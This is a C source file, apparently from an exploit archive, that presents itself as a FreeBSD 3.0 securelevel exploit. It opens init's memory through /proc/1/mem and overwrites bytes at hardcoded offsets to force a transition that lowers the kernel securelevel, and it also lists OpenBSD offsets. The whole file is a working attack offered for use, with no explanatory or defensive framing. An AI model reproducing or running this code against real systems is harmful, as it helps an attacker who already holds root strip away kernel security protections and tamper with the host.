/* http://www.anticode.com  for the latest exploits, tools and documents! */

/* FreeBSD 3.0 /sbin/init / procfs securelevel exploit */

#include <stdio.h>
#include <fcntl.h>
#include <errno.h>

#define  MULTI_USER_ROUTINE             0x27f8         /* OpenBSD: 0x2eb4 */
#define  EVALUATE_TRUE                  (0x27f8 + 21)  /* OpenBSD: 0x2eb4 + 21 */
#define  SET_TO_ZERO                    (0x27f8 + 24)  /* OpenBSD: 0x2eb4 + 24 */
#define  TRANSITION_TO_MULTI_USER       0x2f0a0        /* OpenBSD: 0x290b8 */
#define  INIT_MEMORY_FILE               "/proc/1/mem"
#define  JNE                            0x74

extern int errno;

int main(int argc, char **argv)
{
    int init_mem;
    char c;
    int i;

    init_mem = open(INIT_MEMORY_FILE, O_RDWR);
    if(init_mem < 0)
    {
        perror("open");
        exit(errno);
    }

    c = JNE;

    lseek(init_mem, EVALUATE_TRUE, SEEK_SET);
    write(init_mem, &c, 1);

    c = 0x0;

    lseek(init_mem, SET_TO_ZERO, SEEK_SET);
    write(init_mem, &c, 1);

    i = MULTI_USER_ROUTINE;
    lseek(init_mem, TRANSITION_TO_MULTI_USER, SEEK_SET);
    write(init_mem, &i, 4);

    close(init_mem);

    if(!fork()) exit(0);
    usleep(10000);
    exit(0);
}